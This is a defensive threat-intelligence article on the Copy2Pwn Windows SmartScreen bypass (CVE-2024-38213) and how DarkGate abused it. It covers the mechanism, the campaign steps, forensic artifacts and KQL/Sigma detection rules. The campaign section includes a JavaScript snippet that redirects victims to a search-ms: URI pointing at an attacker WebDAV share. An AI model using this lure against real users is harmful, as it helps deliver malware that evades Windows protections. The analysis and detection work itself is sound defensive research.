Inside Copy2Pwn: The Windows SmartScreen Zero-Day Exploited by DarkGate

A security feature bypass vulnerability in Microsoft Windows Explorer allowed threat actors to silently circumvent Windows Defender SmartScreen, Smart App Control, and Microsoft Office Protected View before being formally acknowledged. Tracked as CVE-2024-38213 and dubbed Copy2Pwn, the flaw enabled operators of the DarkGate malware syndicate to trick victims into copying malicious binaries from remote WebDAV shares without appending Mark of the Web (MotW) telemetry.

Discovered by security researcher Peter Girnus of the Trend Micro Zero Day Initiative during live threat-hunting telemetry in March 2024, the vulnerability exposes an architectural seam in how Windows transfers files across network protocols. While standard web browsers attach zone identifiers to downloaded files, Windows Explorer failed to attach mandatory security metadata when files were copied from Universal Naming Convention (UNC) paths hosted on remote WebDAV servers.

[[image:poster]]

---

Vulnerability Anatomy and the Copy2Pwn Mechanism

Modern Windows environments rely on Mark of the Web to protect endpoints against untrusted files. When an application downloads a file from an untrusted source, it attaches an NTFS Alternate Data Stream (ADS) named :Zone.Identifier indicating its origin zone:

[ZoneTransfer]
ZoneId=3
ReferrerUrl=https://malicious-distribution[.]com/
HostUrl=https://malicious-distribution[.]com/setup.msi

While web browsers invoke the IAttachmentExecute interface to enforce ZoneId=3 (Internet Zone) on downloads, Windows Explorer handles WebDAV connections differently. When mounting a WebDAV UNC path (such as \\192.0.2.15@80\share), the Windows WebClient Mini-Redirector (mrxdav.sys and davclnt.dll) treats the share like a native network volume.

When a user copies (Ctrl+C / Ctrl+V) or drags a file from this WebDAV share to a local folder, Windows Explorer fails to generate and attach the :Zone.Identifier stream to the newly created local file. The destination file is written with default local provenance (ZoneId=0), causing SmartScreen and Smart App Control to skip reputation checks and allow unsigned payloads to execute without warning prompts.

sequenceDiagram
 autonumber
 actor Victim as Targeted User
 participant Browser as Web Browser
 participant Protocol as search-ms: URI Handler
 participant Explorer as Windows Explorer
 participant WebClient as WebClient Service
 participant Attacker as Attacker WebDAV Server
 participant FS as Local NTFS Storage

 Victim->>Browser: Clicks Phishing Link / Open Redirect
 Browser->>Protocol: Invokes search-ms: pointing to WebDAV UNC
 Protocol->>Explorer: Launches Explorer targeted at remote share
 Explorer->>WebClient: Initiates directory enumeration
 WebClient->>Attacker: Sends HTTP PROPFIND / GET requests
 Attacker-->>WebClient: Returns file listing with spoofed icons
 Explorer-->>Victim: Displays curated folder view
 Victim->>Explorer: Copies file locally (Ctrl+C / Ctrl+V / Drag-and-Drop)
 Explorer->>FS: Writes file without :Zone.Identifier ADS
 Victim->>FS: Executes local payload
 Note over FS,Victim: SmartScreen & Protected View Fail to Intervene

---

Sequential Evolution of SmartScreen Zero-Days

CVE-2024-38213 is the fourth entry in an adversarial chain targeting Windows SmartScreen validation logic:

graph LR
 A[CVE-2023-36025
Nov 2023
Direct Shortcut Target] --> B[CVE-2024-21412
Feb 2024
Nested WebDAV Shortcuts]
 B --> C[CVE-2024-29988
Apr 2024
Archive Container Parsing]
 C --> D[CVE-2024-38213
Copy2Pwn
WebDAV Clipboard Omission]

Microsoft remediated the flaw in its June 11, 2024 cumulative update but omitted CVE-2024-38213 from release notes and the MSRC portal until publishing an official security advisory on August 13, 2024.

---

DarkGate Campaign Weaponization

In early 2024, DarkGate operators established a social engineering chain abusing the Windows Search protocol handler:

1. Traffic Ingress: Victims received phishing emails containing open-redirect links forwarding to pages that invoke the search-ms: URI scheme.
2. Protocol Invocation: Embedded JavaScript launched Windows Explorer directed at an external WebDAV server:

<script>
window.location.href = "search-ms:query=Notion_Setup.msi&crumb=location:\\\\192.0.2.15@80\\files&displayname=Search%20Results";
</script>

3. Curated Interface: Explorer presented a single installer disguised as software such as Notion, Apple iTunes, or NVIDIA drivers.
4. Execution and Sideloading: After the user copied and executed the file locally, the rogue .msi installed a signed binary alongside a malicious sqlite3.dll loader. The loader decrypted an on-disk payload to execute DarkGate v6.1.7 in memory, initiating keylogging, token theft, and reverse-proxy communication.

---

Endpoint Forensic Artifacts

Examiners investigating suspected Copy2Pwn activity should cross-reference network and host artifacts:

# Inspect suspected files for missing Zone.Identifier stream
Get-Item -Path "C:\Users\*\Desktop\*.msi" -Stream *

• WebClient Activity: Inspect svchost.exe -k LocalService -p -s WebClient and rundll32.exe davclnt.dll,DavRegisterURL establishing external connections on ports 80 or 443 using HTTP PROPFIND or OPTIONS verbs.
• Shellbags (UsrClass.dat): BagMRU keys record WebDAV share navigation containing patterns like \\<Remote_IP>@<Port>\....
• Shimcache and UserAssist: AppCompatCache and UserAssist registry subkeys confirm execution timestamps and paths for binaries launched from Desktop or AppData\Local\Temp.

---

Detection Engineering

Security teams can deploy the following detection logic to identify protocol abuse and untrusted WebDAV execution:

KQL: Search-MS Protocol Invocation Targeting Remote Shares

DeviceProcessEvents
| where InitiatingProcessFileName in~ ("msedge.exe", "chrome.exe", "firefox.exe", "brave.exe", "outlook.exe")
| where ProcessCommandLine has "search-ms:"
 and (ProcessCommandLine has "@" or ProcessCommandLine has "crumb=location:")
| project Timestamp, DeviceName, InitiatingProcessFileName, FileName, ProcessCommandLine, AccountName

Sigma Rule: Suspicious WebDAV UNC Path Invocation

title: Potential Copy2Pwn WebDAV Exploitation via Search-MS Protocol
id: 9a7e3d14-6b2c-4f81-a83d-e2b3c4f5a6b7
status: stable
description: Detects search-ms protocol execution targeting WebDAV UNC paths with '@' delimiter.
logsource:
 category: process_creation
 product: windows
detection:
 selection_process:
 Image|endswith:
 - '\explorer.exe'
 - '\rundll32.exe'
 selection_commandline:
 CommandLine|contains:
 - 'search-ms:'
 - 'crumb=location:'
 CommandLine|contains|all:
 - '@'
 - '\\'
 condition: selection_process and selection_commandline
level: high
tags:
 - attack.initial_access
 - attack.defense_evasion
 - attack.t1553.005

---

Perimeter & Endpoint Hardening Matrix

The exploitation of CVE-2024-38213 underscores how threat actors actively probe the boundaries between legacy Windows networking components and modern defensive controls. Hardening protocol associations and disabling unneeded services like WebClient remain vital controls for mitigating successive Mark of the Web evasion techniques.